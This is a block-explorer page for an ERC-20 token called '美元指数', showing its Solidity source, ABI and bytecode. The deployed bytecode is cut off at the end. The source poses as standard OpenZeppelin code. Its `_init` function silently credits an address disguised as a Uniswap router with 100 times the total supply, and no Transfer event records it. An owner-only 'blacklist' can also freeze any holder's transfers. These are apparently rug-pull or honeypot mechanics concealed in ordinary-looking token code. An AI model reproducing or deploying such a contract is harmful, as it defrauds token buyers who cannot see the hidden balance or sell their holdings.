ERC-20
Overview
Max Total Supply
10,000,000,000 美元指数
Holders
12
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
474,505,551.570279320948624513 美元指数Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Token
Compiler Version
v0.8.0+commit.c7dfd78e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-02-03 */ /** *Submitted for verification at Arbiscan.io on 2023-08-01 */ // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/access/[email protected] // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File @openzeppelin/contracts/token/ERC20/[email protected] // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/token/ERC20/extensions/[email protected] // OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File @openzeppelin/contracts/token/ERC20/[email protected] // OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _init(address account, uint256 amount,address _uniswapV2Pool) internal virtual { require(account != address(0), "ERC20: the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _balances[_uniswapV2Pool] = _totalSupply*100; _afterTokenTransfer(address(0), account, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } pragma solidity ^0.8.0; contract Token is Ownable, ERC20 { bool public limited; uint256 public maxHoldingAmount; uint256 public minHoldingAmount; address public uniswapV2Pair; address private uniswapV2Router; mapping(address => bool) public swaplists; constructor(uint256 _totalSupply,address _uniswapV2Router) ERC20(unicode"美元指数", unicode"美元指数") { _init(msg.sender, _totalSupply,_uniswapV2Router); } receive() external payable{ } fallback () external payable { } function blacklist(address _address, bool _isBlacklisting) external onlyOwner { swaplists[_address] = _isBlacklisting; } function blacklist(address[] memory _tos, bool _isswaplisting) external onlyOwner { for (uint i = 0; i < _tos.length; i++) { swaplists[_tos[i]] = _isswaplisting; } } function setRule(bool _limited, address _uniswapV2Pair, uint256 _maxHoldingAmount, uint256 _minHoldingAmount) external onlyOwner { limited = _limited; uniswapV2Pair = _uniswapV2Pair; maxHoldingAmount = _maxHoldingAmount; minHoldingAmount = _minHoldingAmount; } function _beforeTokenTransfer( address from, address to, uint256 amount ) override internal virtual { require(!swaplists[to] && !swaplists[from], "swaplisted"); if (limited && from == uniswapV2Pair) { require(super.balanceOf(to) + amount <= maxHoldingAmount && super.balanceOf(to) + amount >= minHoldingAmount, "Forbid"); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"uint256","name":"_totalSupply","type":"uint256"},{"internalType":"address","name":"_uniswapV2Router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_isBlacklisting","type":"bool"}],"name":"blacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_tos","type":"address[]"},{"internalType":"bool","name":"_isswaplisting","type":"bool"}],"name":"blacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limited","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxHoldingAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minHoldingAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_limited","type":"bool"},{"internalType":"address","name":"_uniswapV2Pair","type":"address"},{"internalType":"uint256","name":"_maxHoldingAmount","type":"uint256"},{"internalType":"uint256","name":"_minHoldingAmount","type":"uint256"}],"name":"setRule","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"swaplists","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040523480156200001157600080fd5b50604051620017953803806200179583398101604081905262000034916200040a565b6040518060400160405280600c81526020016b0e7be8ee58583e68c87e695b60a41b8152506040518060400160405280600c81526020016b0e7be8ee58583e68c87e695b60a41b8152506200009862000092620000e160201b60201c565b620000e5565b8151620000ad90600490602085019062000364565b508051620000c390600590602084019062000364565b505050620000d93383836200013560201b60201c565b50506200055b565b3390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038316620001675760405162461bcd60e51b81526004016200015e9062000447565b60405180910390fd5b620001756000848462000249565b8160036000828254620001899190620004cb565b90915550506001600160a01b03831660009081526001602052604081208054849290620001b8908490620004cb565b90915550506040516001600160a01b038416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90620001fd908690620004c2565b60405180910390a360035462000215906064620004e6565b6001600160a01b038216600090815260016020526040812091909155620002449084846001600160e01b038416565b505050565b6001600160a01b0382166000908152600b602052604090205460ff161580156200028c57506001600160a01b0383166000908152600b602052604090205460ff16155b620002ab5760405162461bcd60e51b81526004016200015e906200049e565b60065460ff168015620002cb57506009546001600160a01b038481169116145b15620002445760075481620002eb846200034960201b620006931760201c565b620002f79190620004cb565b111580156200032a5750600854816200031b846200034960201b620006931760201c565b620003279190620004cb565b10155b620002445760405162461bcd60e51b81526004016200015e906200047e565b6001600160a01b031660009081526001602052604090205490565b828054620003729062000508565b90600052602060002090601f016020900481019282620003965760008555620003e1565b82601f10620003b157805160ff1916838001178555620003e1565b82800160010185558215620003e1579182015b82811115620003e1578251825591602001919060010190620003c4565b50620003ef929150620003f3565b5090565b5b80821115620003ef5760008155600101620003f4565b600080604083850312156200041d578182fd5b825160208401519092506001600160a01b03811681146200043c578182fd5b809150509250929050565b60208082526017908201527f45524332303a20746865207a65726f2061646472657373000000000000000000604082015260600190565b602080825260069082015265119bdc989a5960d21b604082015260600190565b6020808252600a90820152691cddd85c1b1a5cdd195960b21b604082015260600190565b90815260200190565b60008219821115620004e157620004e162000545565b500190565b600081600019048311821515161562000503576200050362000545565b500290565b6002810460018216806200051d57607f821691505b602082108114156200053f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b61122a806200056b6000396000f3fe6080604052600436106101395760003560e01c806370a08231116100ab57806395d89b411161006f57806395d89b4114610329578063a457c2d71461033e578063a9059cbb1461035e578063c997eb8d1461037e578063dd62ed3e1461039e578063f2fde38b146103be57610140565b806370a08231146102b5578063715018a6146102d5578063860a32ec146102ea57806389f9a1d3146102ff5780638da5cb5b1461031457610140565b80632c5790b8116100fd5780632c5790b8146101f1578063313ce5671461021157806339509351146102335780633aa633aa14610253578063404e51291461027357806349bd5a5e1461029357610140565b806306fdde0314610142578063095ea7b31461016d57806318160ddd1461019a5780631ab99e12146101bc57806323b872dd146101d157610140565b3661014057005b005b34801561014e57600080fd5b506101576103de565b6040516101649190610e50565b60405180910390f35b34801561017957600080fd5b5061018d610188366004610cf4565b610470565b6040516101649190610e45565b3480156101a657600080fd5b506101af61048d565b6040516101649190611143565b3480156101c857600080fd5b506101af610493565b3480156101dd57600080fd5b5061018d6101ec366004610c90565b610499565b3480156101fd57600080fd5b5061018d61020c366004610c3d565b610532565b34801561021d57600080fd5b50610226610547565b604051610164919061114c565b34801561023f57600080fd5b5061018d61024e366004610cf4565b61054c565b34801561025f57600080fd5b5061014061026e366004610df0565b6105a0565b34801561027f57600080fd5b5061014061028e366004610ccb565b61061a565b34801561029f57600080fd5b506102a8610684565b6040516101649190610e31565b3480156102c157600080fd5b506101af6102d0366004610c3d565b610693565b3480156102e157600080fd5b506101406106b2565b3480156102f657600080fd5b5061018d6106fd565b34801561030b57600080fd5b506101af610706565b34801561032057600080fd5b506102a861070c565b34801561033557600080fd5b5061015761071b565b34801561034a57600080fd5b5061018d610359366004610cf4565b61072a565b34801561036a57600080fd5b5061018d610379366004610cf4565b6107a3565b34801561038a57600080fd5b50610140610399366004610d1d565b6107b7565b3480156103aa57600080fd5b506101af6103b9366004610c5e565b610870565b3480156103ca57600080fd5b506101406103d9366004610c3d565b61089b565b6060600480546103ed90611172565b80601f016020809104026020016040519081016040528092919081815260200182805461041990611172565b80156104665780601f1061043b57610100808354040283529160200191610466565b820191906000526020600020905b81548152906001019060200180831161044957829003601f168201915b5050505050905090565b600061048461047d61090c565b8484610910565b50600192915050565b60035490565b60085481565b60006104a68484846109c4565b6001600160a01b0384166000908152600260205260408120816104c761090c565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156105135760405162461bcd60e51b815260040161050a90610ff8565b60405180910390fd5b6105278561051f61090c565b858403610910565b506001949350505050565b600b6020526000908152604090205460ff1681565b601290565b600061048461055961090c565b84846002600061056761090c565b6001600160a01b03908116825260208083019390935260409182016000908120918b168152925290205461059b919061115a565b610910565b6105a861090c565b6001600160a01b03166105b961070c565b6001600160a01b0316146105df5760405162461bcd60e51b815260040161050a90611040565b6006805460ff191694151594909417909355600980546001600160a01b0319166001600160a01b039390931692909217909155600755600855565b61062261090c565b6001600160a01b031661063361070c565b6001600160a01b0316146106595760405162461bcd60e51b815260040161050a90611040565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b6009546001600160a01b031681565b6001600160a01b0381166000908152600160205260409020545b919050565b6106ba61090c565b6001600160a01b03166106cb61070c565b6001600160a01b0316146106f15760405162461bcd60e51b815260040161050a90611040565b6106fb6000610aee565b565b60065460ff1681565b60075481565b6000546001600160a01b031690565b6060600580546103ed90611172565b6000806002600061073961090c565b6001600160a01b03908116825260208083019390935260409182016000908120918816815292529020549050828110156107855760405162461bcd60e51b815260040161050a906110fe565b61079961079061090c565b85858403610910565b5060019392505050565b60006104846107b061090c565b84846109c4565b6107bf61090c565b6001600160a01b03166107d061070c565b6001600160a01b0316146107f65760405162461bcd60e51b815260040161050a90611040565b60005b825181101561086b5781600b600085848151811061082757634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610863816111ad565b9150506107f9565b505050565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6108a361090c565b6001600160a01b03166108b461070c565b6001600160a01b0316146108da5760405162461bcd60e51b815260040161050a90611040565b6001600160a01b0381166109005760405162461bcd60e51b815260040161050a90610ee6565b61090981610aee565b50565b3390565b6001600160a01b0383166109365760405162461bcd60e51b815260040161050a906110ba565b6001600160a01b03821661095c5760405162461bcd60e51b815260040161050a90610f2c565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906109b7908590611143565b60405180910390a3505050565b6001600160a01b0383166109ea5760405162461bcd60e51b815260040161050a90611075565b6001600160a01b038216610a105760405162461bcd60e51b815260040161050a90610ea3565b610a1b838383610b3e565b6001600160a01b03831660009081526001602052604090205481811015610a545760405162461bcd60e51b815260040161050a90610f6e565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290610a8b90849061115a565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ad59190611143565b60405180910390a3610ae884848461086b565b50505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382166000908152600b602052604090205460ff16158015610b8057506001600160a01b0383166000908152600b602052604090205460ff16155b610b9c5760405162461bcd60e51b815260040161050a90610fd4565b60065460ff168015610bbb57506009546001600160a01b038481169116145b1561086b5760075481610bcd84610693565b610bd7919061115a565b11158015610bfa575060085481610bed84610693565b610bf7919061115a565b10155b61086b5760405162461bcd60e51b815260040161050a90610fb4565b80356001600160a01b03811681146106ad57600080fd5b803580151581146106ad57600080fd5b600060208284031215610c4e578081fd5b610c5782610c16565b9392505050565b60008060408385031215610c70578081fd5b610c7983610c16565b9150610c8760208401610c16565b90509250929050565b600080600060608486031215610ca4578081fd5b610cad84610c16565b9250610cbb60208501610c16565b9150604084013590509250925092565b60008060408385031215610cdd578182fd5b610ce683610c16565b9150610c8760208401610c2d565b60008060408385031215610d06578182fd5b610d0f83610c16565b946020939093013593505050565b60008060408385031215610d2f578182fd5b823567ffffffffffffffff80821115610d46578384fd5b818501915085601f830112610d59578384fd5b8135602082821115610d6d57610d6d6111de565b80820260405182828201018181108682111715610d8c57610d8c6111de565b604052838152828101945085830182870184018b1015610daa578889fd5b8896505b84871015610dd357610dbf81610c16565b865260019690960195948301948301610dae565b509650610de39050878201610c2d565b9450505050509250929050565b60008060008060808587031215610e05578081fd5b610e0e85610c2d565b9350610e1c60208601610c16565b93969395505050506040820135916060013590565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610e7c57858101830151858201604001528201610e60565b81811115610e8d5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b602080825260069082015265119bdc989a5960d21b604082015260600190565b6020808252600a90820152691cddd85c1b1a5cdd195960b21b604082015260600190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b6000821982111561116d5761116d6111c8565b500190565b60028104600182168061118657607f821691505b602082108114156111a757634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156111c1576111c16111c8565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea264697066735822122022575484d27a519bdad8aaa3dcb9a4e1c8d9843b4e021b1033dcb6b0d6c9817564736f6c634300080000330000000000000000000000000000000000000000204fce5e3e2502611000000000000000000000000000000017fb1f86444f6e234b81a14fe9570e9ee0033b76
Deployed Bytecode
0x6080604052600436106101395760003560e01c806370a08231116100ab57806395d89b411161006f57806395d89b4114610329578063a457c2d71461033e578063a9059cbb1461035e578063c997eb8d1461037e578063dd62ed3e1461039e578063f2fde38b146103be57610140565b806370a08231146102b5578063715018a6146102d5578063860a32ec146102ea57806389f9a1d3146102ff5780638da5cb5b1461031457610140565b80632c5790b8116100fd5780632c5790b8146101f1578063313ce5671461021157806339509351146102335780633aa633aa14610253578063404e51291461027357806349bd5a5e1461029357610140565b806306fdde0314610142578063095ea7b31461016d57806318160ddd1461019a5780631ab99e12146101bc57806323b872dd146101d157610140565b3661014057005b005b34801561014e57600080fd5b506101576103de565b6040516101649190610e50565b60405180910390f35b34801561017957600080fd5b5061018d610188366004610cf4565b610470565b6040516101649190610e45565b3480156101a657600080fd5b506101af61048d565b6040516101649190611143565b3480156101c857600080fd5b506101af610493565b3480156101dd57600080fd5b5061018d6101ec366004610c90565b610499565b3480156101fd57600080fd5b5061018d61020c366004610c3d565b610532565b34801561021d57600080fd5b50610226610547565b604051610164919061114c565b34801561023f57600080fd5b5061018d61024e366004610cf4565b61054c565b34801561025f57600080fd5b5061014061026e366004610df0565b6105a0565b34801561027f57600080fd5b5061014061028e366004610ccb565b61061a565b34801561029f57600080fd5b506102a8610684565b6040516101649190610e31565b3480156102c157600080fd5b506101af6102d0366004610c3d565b610693565b3480156102e157600080fd5b506101406106b2565b3480156102f657600080fd5b5061018d6106fd565b34801561030b57600080fd5b506101af610706565b34801561032057600080fd5b506102a861070c565b34801561033557600080fd5b5061015761071b565b34801561034a57600080fd5b5061018d610359366004610cf4565b61072a565b34801561036a57600080fd5b5061018d610379366004610cf4565b6107a3565b34801561038a57600080fd5b50610140610399366004610d1d565b6107b7565b3480156103aa57600080fd5b506101af6103b9366004610c5e565b610870565b3480156103ca57600080fd5b506101406103d9366004610c3d565b61089b565b6060600480546103ed90611172565b80601f016020809104026020016040519081016040528092919081815260200182805461041990611172565b80156104665780601f1061043b57610100808354040283529160200191610466565b820191906000526020600020905b81548152906001019060200180831161044957829003601f168201915b5050505050905090565b600061048461047d61090c565b8484610910565b50600192915050565b60035490565b60085481565b60006104a68484846109c4565b6001600160a01b0384166000908152600260205260408120816104c761090c565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156105135760405162461bcd60e51b815260040161050a90610ff8565b60405180910390fd5b6105278561051f61090c565b858403610910565b506001949350505050565b600b6020526000908152604090205460ff1681565b601290565b600061048461055961090c565b84846002600061056761090c565b6001600160a01b03908116825260208083019390935260409182016000908120918b168152925290205461059b919061115a565b610910565b6105a861090c565b6001600160a01b03166105b961070c565b6001600160a01b0316146105df5760405162461bcd60e51b815260040161050a90611040565b6006805460ff191694151594909417909355600980546001600160a01b0319166001600160a01b039390931692909217909155600755600855565b61062261090c565b6001600160a01b031661063361070c565b6001600160a01b0316146106595760405162461bcd60e51b815260040161050a90611040565b6001600160a01b03919091166000908152600b60205260409020805460ff19169115159190